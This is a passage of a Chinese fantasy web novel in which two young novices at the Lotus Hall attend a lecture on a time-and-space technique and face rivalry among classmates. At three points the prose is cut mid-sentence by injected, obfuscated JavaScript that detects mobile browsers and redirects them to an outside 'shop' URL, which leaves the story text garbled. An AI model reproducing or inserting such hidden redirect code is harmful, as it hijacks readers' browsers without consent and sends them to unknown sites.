归笙就这样顺利地带着清伽成为了莲华殿的灵侍。 莲华殿二层是新进灵侍的居所,每二人分派一间带寝屋的小院。 小院和寝屋都不大,两个少年人来住会觉得拥挤,但安置两个十岁出头的孩童则相对合适。 归笙刚搬进去就注意到,院落正中栽种着一棵蔓地藤。 这植物之所以得名,是因其枝干庞杂,草叶稀疏,就像一颗头发旺盛的脑袋埋在土里,只不过那散了一地的发丝是一根根粗韧的木藤。 如果不每日定时打理,那生命力顽强的木藤会在几天之内铺满整个院落,甚至漫过隔墙,爬进隔壁灵侍的院子里。 归笙推测,这蔓地藤是用来给灵侍练习劈劈砍砍相关的咒术的。 果不其然,走近一看,藤上布置了每日打理的时辰,以及所要用到的咒术。 但归笙在水月牢里就感慨过,让她修炼莲华境的咒术,她能连夜叛出莲华殿。 所以,最基础的入门咒术她也坚决不会碰的。 归笙遂拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745423|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍清伽的肩膀:“交给你了。” 清伽安安静静地被她拍了两下,若有所思地盯着那坛木藤。 第二日,归笙:“……” 一夜之间,这是发生了什么? 莲华殿遭贼了吗? 但是何方贼人如此缺心眼,不偷金银珠宝,偷…… 她叹为观止地走上前,摆弄了下那棵被薅秃了的蔓地藤。 若说昨天它还像一颗毛发茂密的脑袋,那么现在就只剩下白花花的头皮了。 归笙不忍直视地转过身,敲开了“贼人”的房门。 然后她就爆发出了一串惊天大咳嗽。 “咳咳咳咳……” 归笙胡乱挥袖,把疯狂呛入口鼻的飞屑赶走。 一双目光艰难穿过满室粉尘,寻到了那道半跪在地的清薄身影。 “你……你这是在修炼什么爆破咒么……什么玩意炸这么多灰……” 清伽听不到声音,但可以感知到推门的震动。 他稍微回过身,归笙便看清了他手中的一把刻刀。 以及他身后,一尊轮廓半显的木雕。 那木雕的材料,正是失窃的蔓地藤。 原来这飘了满屋的东西是木屑啊。 归笙把衣领拽过鼻尖,眨巴着眼,好奇地走近。 她并不奇怪清伽有这种隐藏手艺,修士在修炼主业之余,有个打发时间的消遣再正常不过了。 比方说她师兄,修炼之余就会琢磨如何以栖雪峰有限的食材,做出能让她心甘情愿闭嘴的美食。 走到近前,由于归笙不大懂木雕的门道,不知有哪些评判好坏的标准,只能以外行人最直观的感受夸赞道:“活灵活现,栩栩如生。” 只是这雕像的衣裳怎么有点眼熟? 归笙狐疑地上移视线。 看清那雕像的面容,她霎时如遭雷击。 “灵主!灵主!你居然还记得我原来长什么样子?!” 归笙一把丢掉自己的衣领,抓住清伽的肩膀狂摇:“你是不是恢复记忆了?咳咳……修为呢?修为恢复了吗?咱们能不能立刻从这个莲华境里出去啊……咳咳咳咳……” 她太过激动,清伽被她生生摇出了残影,却不挣扎也不反抗。 自始至终,他只是懵懂又费解地望着她,仿佛完全不明白她忽然发的什么疯。 见状,归笙缓缓地停下了手。 她短暂地绝望了一下,又迅速燃起熊熊的希望。 既然清伽能对她那张脸有印象,虽然他自己可能并不知道那是她的脸,但是不是说明他的潜意识正在恢复? 换言之,莲华境对他的影响,是不是正在逐渐消退? 归笙冷静下来,扶着脑袋,和面前的木雕归笙相顾无言。 只能继续等了。 目前除了耗时间,也没有其他的办法了。 毕竟以她对莲华境的了解程度,根本想不出任何破境的头绪,只能寄希望于眼前这个深陷莲华境的…… 慢着。 归笙霍然站起,险些把清伽掀翻。 她“噔噔噔”跑回自己屋,火速翻开进入莲华殿当日领取的课业安排。 当时领到手后,她只是草草滑了眼,没太上心,但她记得看到了一个…… 找到了。 归笙的指尖停在了其中一条事项上。 七日后,妙慧灵祖会在莲华殿三层的布诵堂,对这批新进的小灵侍进行初次讲学。 而此次讲学的核心内容,正是他们必须修习的莲华境。 归笙眼睛微亮。 修士修炼一样术法,须得知悉它的弱点,才能防止在对战中被对手钻到空子,因此,师长在最初教授术法时,就会将术法的弱点一并告知给弟子。 说不定她能在这场讲学上,了解到莲华境的缺陷,找到破境之法! 15. 讲学日(上) 讲学前的几天里,归笙深刻见识到了自己的那位院友对于做木雕一事是何等的热衷。 这天晨钟遥响,归笙一觉醒来,便瞧见窗台外摆了一只精巧的人偶木雕。 她推开窗子取过来,发现雕刻的依旧是她,只是比昨天所见的那一尊小上许多。 归笙将木雕的自己拿在手里来回察看,不禁为这份极佳的手艺所惊叹,连她核桃上的沟壑起伏都镌刻得丝丝入扣,甚至比真迹都来得精巧,足可以假乱真。 天工海中的九窍核桃听到自家主人无情的拉踩,当即变着花样把做出赝品的人骂了个狗血淋头。 归笙收好木雕,走到院子里,发现果不其然,藤木又少了一堆。 当晚,归笙望着出现在院子里的一只钟鼓木雕,陷入沉思:“……” 清伽抱着一摞新折的木枝路过,在她身侧一停。 归笙顿时啪啪鼓掌:“乐器你也能做,你可真是厉害!” 目送清伽进了屋,归笙转头就对着光秃秃的树坛一阵发愁。 院子里的藤木快要被这小孩薅光了。 也不知道下回灵侍查寝,要用什么理由搪塞过去。 慢着。 归笙灵光一闪,一拍脑袋。 她现在不是只树怪吗?能让路边野草生根发芽的那种。 归笙连忙运转髓华,对着坛中残存的秃枝残叶一阵天灵灵地灵灵。 只见那枝条颤了颤,焕发新生般,抽芽生长。 归笙心满意足地笑了笑,这下就不会被查寝的灵侍误认为虐待草木了。 她伸手摸摸有点发晕的脑袋,摸到了一手的汗。 看来方才有些透支髓华了,不过幸好没晕,说明她这具树怪壳子还是挺硬朗的。 晕过去前的最后一刻,归笙这样想着。 好在没晕多久,归笙便在一阵温温凉凉的触感中醒来。 一睁眼,就见一片雪白在自己的脸上擦来擦去。 归笙一把抓住这片雪白,发现是一方沾水的巾帕。 把巾帕挪开,那个害得她不得不耗费髓华挽救蔓地藤的小孩正给她擦脸。 他的手在微微发抖,好像被突然晕倒在院子里的树怪吓得不轻。 奇异的是,他的眼神很迷茫,仿佛不明白自己为什么要担心这只树怪。 归笙也很迷茫:按照他俩的交情,没道理他会担心成这样。 莫非这小孩是怕她死了,以后在莲华殿没人罩着他么? 归笙悟了,于是安慰地拍拍他的肩膀:“没事,我死不了,我硬朗着呢。” 清伽被她拍啊拍,眼里的迷茫被拍散了,指了指她的额角。 归笙疑惑,端过巾帕沾水的水盆一照,发现原来是自己先前拍脑袋的那一下拍得没轻没重,这树怪化形的人脸又不大稳当,脑壳直接给拍得塌陷进去了。 一个潦草的人彻底变成一个畸形的人了。 难怪这小孩担心呢,大晚上看到院子里躺了个脑袋缺了一半的丑树怪,不担心对面也要担心自己的安危呢。 归笙:正好。 不是说她变得丑陋正好,而是方才她还在想同门之间应当礼尚往来,清伽送了她一只木雕,她还苦恼要回赠什么呢。 刚好做两只覆面的白纱,一人一个吧。 师兄的针线手艺是能令他自闭的,因为他的针线是师母教的,但归笙的针线手艺还不赖,因为她的针线是师父教的。 在归笙自幼的印象里,师母与师父总是相伴而行,偶尔带上她和师兄出去逛吃逛吃,但更多的时候,师母会选择独自外出,勒令师父守家。 由于她师母其人随性洒脱,动起手来时常没个轻重,一身仙气飘飘的衣裳穿出去,穿回来时就像从某个古战场捡来的遗迹——然而据师母本人交代,这已经是她努力缝补后的结果了。 师父无法,只得闲时下山,到凡间绣房求学,最终自学成才,不仅能为师母补衣,还自创了一种技法,能够在缝补的衣裳表面镀上一层防御髓华。 归笙本来也随他学习这种技法,只不过未及学成,便得到了师母师父在外身殒的消息。 敛起思绪,执行力超强的归笙连夜持起针线,按照当日在祈灵祭典上所见的形制,无比顺畅地缝制出了两缎白纱。 第二日,归笙一大早就在木坛旁守株待人,果不其然,清伽推开门后,径直朝此处走来。 见到树怪顶着两个大黑眼圈等在坛边,清伽迟疑了一下,站在八步之外不动了。 归笙笑嘻嘻地招手:“你过来,我不打你。” “……” 清伽过去了。 刚在她一步外站定,一缎白纱从天而降,覆起了他的面容。 清伽没有反抗,只是稍稍掀起白纱一角,露出一双略显疑惑的眼睛。 归笙瞧着小孩这副乖乖顺顺的样子,想起什么,坏心骤起,当即抓住白纱的一角,掀起,放下,又掀起,又放下。 如此周而复始,约莫十几个来回后,清伽终于抬起手,捉住了树怪作乱的手。 他看着莫名其妙笑个不停的归笙,疑惑到几乎有些无奈了。 “笑什么?” 这些天里,有灵侍来教导二人手语,清伽学得很快。 归笙:笑你前几日还贞洁烈男一样被掀了白纱滴了鼻血计较得要死结果现在完全不反抗哈哈哈。 这话自是不能说的,毕竟二人迟早会从莲华境里出去的,按照清伽那个记仇的个性,指不定会同她追究莲华境里的出言不逊呢。 于是归笙高深莫测地笑,以手语回道:“只是为我高超的手艺感到骄傲罢了。” 一人一怪的两名院友就这样礼尚往来、和谐友爱地相处了几天,等到了莲华境的讲学如期而至。 出乎意料的是,归笙低估了一众新进灵侍的听学热情,当她掐着点来到布诵台时,场中已是座无虚席,归笙只得拖着清伽坐到尚有空位的第一排。 当妙慧灵祖出现的时候,归笙特意留意了一下清伽的表情。 嗯,他的表情是毫无表情。 看来他并未记起妙慧灵祖。 归笙失落地瘫在案上,长吁短叹:只希望今日的讲学能让她摸到莲华境的破解之法了。 她真的不想再滞留莲华境里和这个小孩过家家了! 讲学开始,妙慧灵祖一如当日归笙在贡品大殿中所见,满面温和包容的神情,听着她不徐不疾的声音,枯燥的知识也如汩汩涓滴,轻柔流缓地汇入耳中,润物无声,令人难以心生抗拒之意。 灵祖开首的几句内容,与归笙通过水月牢中的咒卷了解到的大差不离,即莲华境是莲华殿灵侍在自身修类之外需要统一修习的独门术法,以及莲华境的术法体系下囊括了浩如烟海的各种咒术。 “虽然莲华境体系下咒术庞杂,但其中绝大多数是作为层层递进的台阶,为修炼者通往至高之境奠定根基。” “而所谓的‘至高之境’,便是莲华境中最高阶的两类咒术,也是真正能做到莲华境创术宗旨的术法……” 归笙反应了一下:莲华境的创术宗旨? “观往生,窥天机,易千秋,济世情。” 哦,那玄玄乎乎的十二个字。 归笙满眼期待地等着妙慧灵祖详细拆解这吊足她胃口的十二个字。 然后她就听灵祖道:“惭愧,我学艺不精,悟性欠佳,即便修炼莲华境多年,也无法为诸位阐明其宗旨奥义……为避免信口胡诌,误人子弟,只能暂且弃道求术,先为诸位讲解两类高阶咒术。” 归笙:“……” 连当今莲华殿的最高掌权者都这么说,这莲华境是有多难学啊。 妙慧灵祖道:“第一类咒术,称之为‘镜界’,以莲华境构筑镜像域界,界中可置物、生存、繁衍。” 有灵侍举手:“听起来这所谓镜界,就是单独开辟的一个空间?那和修士用来储物的乾坤袋又有何区别?” 妙慧灵祖:“最大的区别,是镜界可以复刻现实之物,且加以改写。” 归笙眼皮发沉:好难学,听不懂。 妙慧灵祖笑了笑:“举个例子吧。” “诸位是否好奇,为何从未在西漠见到过西漠的灵源——煌星木?” 一众小灵侍点头如捣蒜,这确实是他们成长至今的一大疑问。 妙慧灵祖道:“因为早在千年前,煌星木便由莲华殿先祖移栽到了镜界之中……” “所以,煌星木原本是好端端地在西漠境内生长,是被莲华殿私自挪到了镜界中,才和你们强行绑定了起来,对吗?” 一道声音突然打断了妙慧灵祖的话语,语气尖锐。 满座哗然间,归笙觉得这声音有几分耳熟。 她一转头,险些惊掉下巴。 客栈的白鹤掌柜? 只是和清伽一样,这在莲华境中的白鹤掌柜比归笙见过的要年轻几岁,眼下是一副少女的模样。 被少女用不善的目光刺着,妙慧灵祖也不见丝毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745424|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被冒犯的着恼。 她看白鹤一会儿,温声询问:“这位小友,可是来自哀煌山的白鹤灵怪一族?” 白鹤冷笑:“难为莲华殿还记得我族。” 妙慧灵祖道:“在煌星木移入镜界前,是白鹤一族世代守护煌星木,这份深重的恩情,莲华殿的人族自是铭记在心。” 白鹤怒道:“所以莲华殿回报恩情的方式,便是在千年前不顾我族哀求,一意孤行将煌星木挪入镜界,为自己所用么?!” “……” 没想到来听莲华境的讲学还能听到这样的内幕,一众小灵侍懵在座位上,傻愣愣望着对峙的二人。 妙慧灵祖给了众人一道安抚的眼神,命侍候在旁的灵侍提着一早准备好的果篮走上来,给每人分了一块瓜吃。 妙慧灵祖:“没事,大家先吃点瓜果,咱们待会儿再继续。” 然后她才转眼看回白鹤,那一眼深而无奈:“毕竟西漠只有煌星木这一个灵源,容不得半点闪失。” “而作为树木,煌星木太脆弱了,无法与中州七峰、北原雪山、南溟渊崖相提并论……煌星木在哀煌山的那些年里,没少有妖魔潜入西漠,试图将木种盗走……在这件事上,白鹤一族应当最有感触才是。” “虽然之后……”她停顿了下,叹息道,“人心不古,事与愿违。” “但千年前,莲华殿将煌星木移入镜界的初心,确实是为了更好地保护它。” 白鹤:“然后,煌星木就死在了三百年前的那场大火里。” 妙慧灵祖默然不语。 半晌,她和煦地道:“姑娘,若非真心来莲华殿成为灵侍,便请回吧。” 白鹤讥诮地道:“人族的地盘,我自是不会久留,不然等着莲华殿重现三百年前的那桩丑闻么?知道那件事的灵怪是在大火里死了不少,但不是死绝了!” 丑闻? 归笙啃着瓜,眼珠转到妙慧灵祖的脸上,却只看到了天衣无缝的平静。 白鹤的声音越发尖锐:“拜你们莲华殿失职所致,没能守好煌星木,导致西漠灵髓干涸,我们白鹤一族遭到反噬,死得只剩下我一个了……当然,我也不剩几年了。” 直至听到此处,归笙才在妙慧灵祖的神容间察觉几许震恸。 这位灵祖,也许是真的心系西漠万灵。 白鹤从袖中取出一枚莲花信物,疾步上前,举至妙慧灵祖眼前。 “昔年莲华殿移栽煌星木时,曾对我族留下这枚信物,承诺日后若有所求,便带此物来到莲华殿,莲华殿定赴汤蹈火,在所不辞。” “本来此物到不了我手里,”她寒声道,“但三百年间,我祖辈遭到反噬,想向莲华殿询问可有挽救之法,却无一次不被拒之门外!久而久之,这信物便一直作为一个用不出去的废物,传到了我的手里。” “我本想一扔了之,但二十年前,听闻莲华殿新任灵祖掌权,慈悲为怀,手段却雷厉风行,莲华殿的风气有所整改,所以我此行混入新进灵侍,便是想凭此信物,斗胆要求灵祖履行昔年承诺。” 妙慧灵祖耐心听完,也不多废话,直截道:“你所为何求?” 白鹤:“我不要求莲华殿做什么,只是想当面问灵祖一个问题。” “当然,我要的可不是空口白牙、搪塞敷衍的那种回答。” 白鹤长袖一挥,一只形似鹤爪的法宝悬于半空。 爪指嶙峋,长甲锋锐,有见血封喉的森然之意。 “这是我族世代相传的法宝,可判断所拷问之人的言辞真假,所言为真则安然无恙,所言为假,则不论修为,掏心剜肺,一击必杀。” 白鹤一扯唇角,紧紧逼视妙慧灵祖的双眼。 “传说中有心挽救西漠的妙慧灵祖,你敢把它放到你的心口么?” 守在四周的灵侍肃容上前,却被妙慧灵祖却抬手制止。 她道:“好。” 灵祖手掌轻托,那法宝便张开爪牙,死死攥住了她左侧的胸膛。 妙慧灵祖:“姑娘,请问吧。” 白鹤愣了一下,似是没料到她真敢如此。 随即她眉目一压,容色冷沉地道:“灵祖,请你同我说实话——” “三百年前的那场大火,究竟是不是初代灵主为了掩盖自己淫|虐灵怪的丑闻,为了让所有知晓真相的城民葬身火海,从而自导自演的一出惨剧?” “只是后来的事态超出了他的掌控,才让煌星木受池鱼之殃,在那场大火中被烧死了!” 16. 讲学日(下) “……” 归笙手一哆嗦,感觉手里的瓜快拿不住了。 她环视一周,发现自己的反应还算镇定的,因为有不少人的瓜直接扣在桌上了。 妙慧灵祖凝视白鹤咄咄逼人的眼睛,竟是笑了笑,笑得叹惋而惆怅。 随即,她轻轻吐出两个字:“不是。” 法宝光芒一闪,又渐渐熄灭。 “当啷”一声,法宝坠地,无一滴血花溅落。 妙慧灵祖不紧不慢地整理衣襟,白鹤则不可置信地盯着地上的法宝,喃喃道:“不可能……明明坊间流传的就是这样……当年幸存下来的那些人也都是这么说……就连许多从你们莲华殿离开的灵侍也都……” “但是,”妙慧灵祖道,“莲华殿和初代灵主,也确实都不无辜。” 她将地上的法宝捡起,走到白鹤的近前,托起后者的手掌,将法宝放进她的手心。 又合拢手掌,将白鹤的双手合在掌心。 “焚城大火、煌星木之死、西漠灵髓干涸,这一桩桩一件件……” 妙慧灵祖望着白鹤怔然的眼睛,郑重地道:“不久之后,莲华殿会给西漠一个交代。” “……” 白鹤用力抽回手,冷冷地道:“三百年都没能救活煌星木,莲华殿能给西漠什么交代。” 她深吸口气,眼眶泛红:“反正要不了多久,西漠的灵髓就会彻底枯竭,到时候大家全都遭到反噬,一起死吧。” “……哦,我忘了。” 想起什么,她那股恶狠狠的劲忽而全泄了。 白鹤悲凉地笑了起来:“你们人族又不用靠西漠的灵髓维持化形,去了其他域境也能逍遥自在,只有我们灵怪生来只认西漠灵髓,才会是死路一条。” “我早该想到的,莲华殿竟然能渎职到令西漠的灵源断送,恐怕是因为这惨痛的下场,落不到你们人族的头上。” 白鹤说完,便垂着头,径自离开了。 直到她的脚步声彻底消失,布诵堂中仍是一片死寂。 “啪啪。” 妙慧灵祖抚了抚掌,调侃笑问:“瓜都吃完了么?” 众人如梦初醒,三两口解决了手里的瓜,重新坐正。 妙慧灵祖:“吃完了的话,我们继续说‘镜界’吧。” 她若无其事,就好像方才那一场针锋相对的插曲,只是众人听学瞌睡的一场梦境。 妙慧灵祖道:“方才我们说到莲华殿将煌星木移栽进镜界,那么接下来,我们就讲讲昔年的先祖,究竟是如何使用莲华境实现这一举动的。” “当年,镜界是一方面,另一方面,也需要用到另一类高阶咒术——境时。” 归笙默默吐槽:她在水月牢里的第一印象果然没错,莲华境下的咒术要么是内容容易串,要么是名字容易串。 “若说镜界是用于开辟空间,那么境时则用于驱策光阴。” “昔年,莲华殿众先祖将现实的煌星木的形貌投射至镜界,再以境时重现煌星木多年生长的光阴,置入镜界,使得镜界与五方域境的煌星木时空重叠对齐,浑如镜像两面,并行存在。” 归笙:“……” 这都什么跟什么? 她拿胳膊肘捅了下身旁的清伽,做口型道:“你听懂了吗?” 清伽睁开眼,睡眼惺忪地看她:“?” 归笙:好嘛,这是直接睡了啊。 有听懂了的小灵侍发问:“可是,这样相当于复刻了一个煌星木,为何叫作‘移栽’呢?” 妙慧灵祖:“因为莲华殿的最后一步,便是将五方域境中的煌星木,并入了镜界中的煌星木,使之合二为一,得到了一个双倍强盛的灵源……这也是为何在三百年前,西漠的灵髓能够一骑绝尘,冠绝五方域境。” 好学的小灵侍:“那这并入的最后一步,又是如何做到的呢?” 妙慧灵祖面露赞许,却不急着回答,而是抛给云里雾里的众人道:“可有小友想出来该如何做吗?” 归笙这会儿终于绕过弯来了,试探着道:“用一重更广阔的镜界,将镜面两端的煌星木归入其中?” 妙慧灵祖欣慰颔首:“没错。” 归笙叹为观止:“……总觉得,莲华境的玩法不止于此。” 妙慧灵祖笑道:“自然。” “不同的修士目的不同,组合使用咒术的方式不同,能用莲华境完成的事情自然也不同,更何况目前所讲的,只是莲华境中的两类咒术而已。” 归笙有句话憋住了:但莲华境这操纵时空的能力,是不是有点逆天了? “然而古往今来,凡是逆天之能,付出的代价无一例外,是惨痛的。” 妙慧灵祖道:“移栽煌星木一事,是由众多莲华殿先祖合力完成,且完成之后,众先祖便遭到了莲华境的反噬,在煌星木下身死魂消。” “自那之后,莲华殿百代灵侍,除一人之外,尚无人能以一己之力,将镜界与境时结合使用。” 归笙好奇地问:“是那位初代灵主吗?” 妙慧灵祖一顿,忽然静静地望了她一眼。 视线交汇,归笙在她的眼底读到一声深重的叹息。 妙慧灵祖叹道:“是的。” 她对着归笙所在的方向,眸光忽然变得怅惘,像是隔过时间的尘沙,望着一道遥远而朦胧的影子。 “莲华殿的初代灵主,其莲华境造诣之深,千百年来,古人来者,无出其右。” 归笙不免纳罕。 她见识过清伽的出手,没想到那也不能跟初代灵主相比。 她瞥了眼身旁半梦半醒的小孩。 不过清伽还年轻,还有机会超越前人。 归笙想了想,还是没忍住,追问道:“既然初代灵主那么厉害,那当时为何没能救下煌星木呢?” “树木不会被立刻烧光,即便只剩下一点煌星木种,也能重复移栽的过程,通过莲华境救活煌星木吧?” 妙慧灵祖欣慰地道:“没错,你说得很对。” “只可惜,当年的煌星木不止死于大火,初代灵主也是自己选择不救煌星木。” 归笙怔然。 前一句她能够理解,因为她亲眼看到过煌星木中段的奇怪断口。 但后一句她就不太懂了,意思是当时那位灵主有机会,也有能力救活煌星木,却放弃了吗? 这位初代灵主难道不知道煌星木死后,西漠会面临什么下场吗? 妙慧灵祖见归笙满头疑问,笑着走来,抚了抚她的发顶:“这不是今日讲学的主题,待下回讲到西漠的历史,我们再慢慢讨论。” “凡事皆有阴阳两面,莲华境自然也不例外,讲完了它的能力,现在,我们来讲它的缺陷。” 归笙正遗憾不能再继续追问,听到此句“唰”地抬起脑袋。 来了,这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745425|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她今日来听学的头等要事! 妙慧灵祖道:“说是‘缺陷’,其实也不太恰当,因为莲华境本身并无致命弱点,只是弱点会出现在使用莲华境的修士身上。” “一来,莲华境操纵时空,本身需要修士以强大的意念对抗紊乱,若修炼莲华境的修士心志不坚,或身受重伤,则极易遭到莲华境的反噬,元魂碎散,迷失自我,譬如昔年深爱之人,亦有可能在莲华境的影响下,沦为其深恨之人。” “二来,莲华境对修士损耗极大,难以维系境中之境,譬如在莲华境构筑的时空洪流里,再进入一重幻境,非有高深修为,无法支撑太久。” “三来,莲华境虽能构筑时空碎片,填充光阴,填补空白,但无法随意操纵入境之人的身份,入境者本质与何物相通,沉入莲华境中,便会贴向何物,且倘若形成境中之境,经过多重回溯,会愈渐贴近真实……例如入境者本质是妖族,进入莲华境中,便很难化身成人族。” 归笙:“……” 这第三点是什么意思? 归笙揪了下她指尖冒出的叶子。 照这说法,比起人族,莲华境是觉得她本质更像个树怪吗? 莫非是由于她身为人族,却没有髓脉,像个实心木头的缘故? 归笙感觉受到了歧视,不由得有些忧伤。 她生来如此啊,没有办法。 讲完了这三个显著的缺点,妙慧灵祖又开始讲不算优点也不算缺点的特性了,归笙只重点听了和自己当下处境相关的部分。 比如这一点:“莲华境中时间流速更快,极有可能境中度过数年,境外不过流逝一个时辰。” 归笙欣喜不已:太好了,她最担心的就是在莲华境中滞留太久。 这样看来,暂时不用太过着急了。 最关心的部分听完了,归笙后续便不再听灵祖的讲学,专心致志地盯着自己方才记下来的重点,脑筋飞速转动。 最终,归笙决定将突破口定在莲华境的第二个缺陷—— “莲华境难以长久维持境中之境。” 如果她推动这莲华境的发展向“境中之境”行进,是不是就有机会令其崩毁了? 在天霄派,凡是对战类弟子都会进入秘境,通过与秘境中的妖魔进行实战以提升战斗素质,不知在这莲华殿,对灵侍们是否也有类似的训练或考验。 归笙向来不爱拖泥带水,于是散学后,直接过去问了妙慧灵祖。 妙慧灵祖自是乐意解答:“莲华境自身有秘境咒术,灵侍若有需要,自行创境即可,所以,莲华殿并无统一的秘境安排……只除了一个考验。” 归笙一口气险些没提上来:灵祖您说话能别大喘气不! 她急忙追问:“请问是何考验?” 妙慧灵祖:“择定灵主候选的第一道环节,便是进入‘往生镜’的幻境,完成其中的考验。” 归笙心中微沉:“请问何时开始挑择灵主候选?” 妙慧灵祖道:“三年后。” “三年的时间,足够检验出新进的这批灵侍里,哪一些是修炼莲华境的天赋高者。” 归笙:“……” 还行,按照灵祖先前所言,境外流逝的时间也不过一个时辰左右。 而且她能切身感受到,莲华境中的时间流速真的要比现实快上许多。 归笙咬了咬牙。 就当闭了次关吧! 17. 逢故人(上) 归笙就这样苦哈哈地开始了她为期三年的莲华殿陪读生涯。 其他方面倒还好,比较麻烦的是,清伽听不见的问题是解决不了了。 灵侍中的医修是这样说的:“他这病根恐怕伤在元魂上,治不了。” 归笙震惊不已:扇巴掌是怎么能把元魂扇出毛病来的? 这得是往死里扇吧?捡清伽回去的那对夫妇真是混账啊! 无法,归笙也就只好硬着头皮学手语,毕竟不能走到哪都带一副纸笔。 一段时间下来,日常沟通总算是磕磕绊绊地搞定了。 归笙不禁洋洋自得地想:当年真是被师母看扁了! 等找到了师母,她定要当着她的面用手语给师父唱一首歌,非要让师母开口夸她不可! 同时,这段时间以来,这批新进小灵侍中的莲华境天赋高者暂时都未崭露头角,但天赋最低的头衔已经花落她家。 授业的灵侍无数次欲言又止,最终在一次考核后忍无可忍,温柔地把归笙拎到一边,委婉地劝她要不要换一份职务发展,莲华殿不止有灵侍这一个出路,扫地也是很有前途的。 归笙怆然一笑,放出髓华隔空一抓,抓来个清伽,把人搬到灵侍面前恳切地道:“我这位伙伴双耳失聪,您瞧他这副心智蒙缺、患有痴傻之症的样子,没有我,他在这莲华殿活不下去……” 并微笑着把清伽即将打出的手语按了下去。 灵侍:“……下次胡言乱语前,至少看一下人家考核的等第。” 归笙听话地瞅了一眼清伽手里的考卷,一点也没有受到打击。 隔行如隔山,行行出状元,她又不跟他竞争灵主,自然无所谓。 归笙义正词严地道:“他是下一任的灵主,我自是比不了。” 灵侍赞同地道:“虽然说得有点早,但的确极有可能。” 然后第二天,归笙和清伽的书案底下就多出了一只死老鼠。 归笙:“?” 干什么,加餐吗? 但她如今在莲华殿的伙食尚可,老鼠暂时不在她考虑的食谱范围内。 归笙将老鼠毁尸灭迹完毕后,后知后觉地反应过来。 他们这是……被针对了? 归笙凉飕飕的目光在学堂中扫荡一圈,果然逮到了几个微微绷紧的身影。 归笙眨了眨眼,若无其事地坐了回去。 这些灵侍年纪小,又个个对灵主之位充满期待,大概是昨日有人路过他们,把当时的对话添油加醋地说出去,引起不忿也正常。 目前还不算过分,她不打算追究。 不料,归笙的不追究,得来了对方的得寸进尺。 隔了几日,清伽的咒卷被撕碎了。 归笙额角青筋一蹦,霍然站起,却被清伽牵住袖子拽了回来。 他一拂袖,咒卷恢复如初,全然不见曾被撕毁的痕迹。 他用的是昨日才学到的复原咒,当时就难倒了一大片人。 听着四下隐隐的抽气声,归笙一拍脑袋,坏心顿起。 对哦,用这种方式处理由课业竞争引发的恶意,才更气人。 于是接下来,不论收到什么,归笙都非要指挥着清伽露一手咒术不可。 就算收到了个空空的骨灰盒,归笙也按头要清伽当场用复刻咒复刻一排一模一样的,然后挨个送给她暗中查出来的坏小孩,赠送的理由为:“不要客气,大家既然修炼莲华境,那迟早都会用上的,提前准备着不是坏事。” 看着对方红白交错的小脸,归笙呵呵一笑,总算觉得这难熬的莲华境有点趣味了。 到了后来,归笙都开始期待书案底下会出现什么新奇玩意儿了。 每日一到学堂,她第一件事就是往书案底下掏去,什么都没掏出来的话,她还会感到一丝失落。 直到这一天,归笙掏出了一束花。 归笙蹲在地上,摸着下巴,深沉地琢磨那一束花。 看不出门道。 这次难道是真的加餐吗? 归笙试探地拈住一片花瓣,送入口中,含住。 然后就“呸呸呸”地吐了出来。 苦的! “呸”到一半,归笙的手腕被一把扣住。 顺着手腕上移视线,映入眼帘的是一张棱角分明的脸。 是真的棱角分明,有棱有角的,归笙觉得可以用来磕鸡蛋。 来人大刀阔斧地一笑,满脸刀光闪烁,说的话也十分单刀直入:“收下花吧!你是树怪,我是伐木刀怪,我们天生一对!” 归笙:“……” 归笙反握住对方的手,豪气干云地道:“刀兄,你刀削斧凿般的伟岸英姿,让我生不出一星半点的轻慢之意,我觉得以咱们这个天生的武力值对比,我还是做你的小弟比较合适。” 刀兄被她的侠肝义胆说服,当场与她结拜:“有眼光,就这么定了!” 归笙之所以如此殷勤,是因为她看上了这位刀兄的一众刀具法宝。 她暗中观察这位孩子王刀兄好久了,发现他对认下的小弟非常阔绰,只要小弟讨了他欢心,他就会“哗啦啦”地赏出去一大把刀具法宝。 归笙十分心动。 一方面,清伽用来做木雕的刻刀豁口了,她刚好能帮他换一个。 另一方面,除祟日期在即,她得提早做准备。 “除祟”,是一项各门各派弟子都要经历的实战历练,莲华殿的灵侍也不例外。 祟物在不同的域境有不同的界定,一言蔽之,就是干扰当地正常生活的作祟之物。 在中州,祟物多为入侵的妖魔鬼怪、作恶的人族邪修等;反之在北原,人族修士才是这帮讨魔嫌的祟物。 而在西漠,只要西漠的居民向莲华殿传信求助,说有异端祸乱居所,这东西便会被莲华殿定为“祟物”,并派出灵侍前去平定。 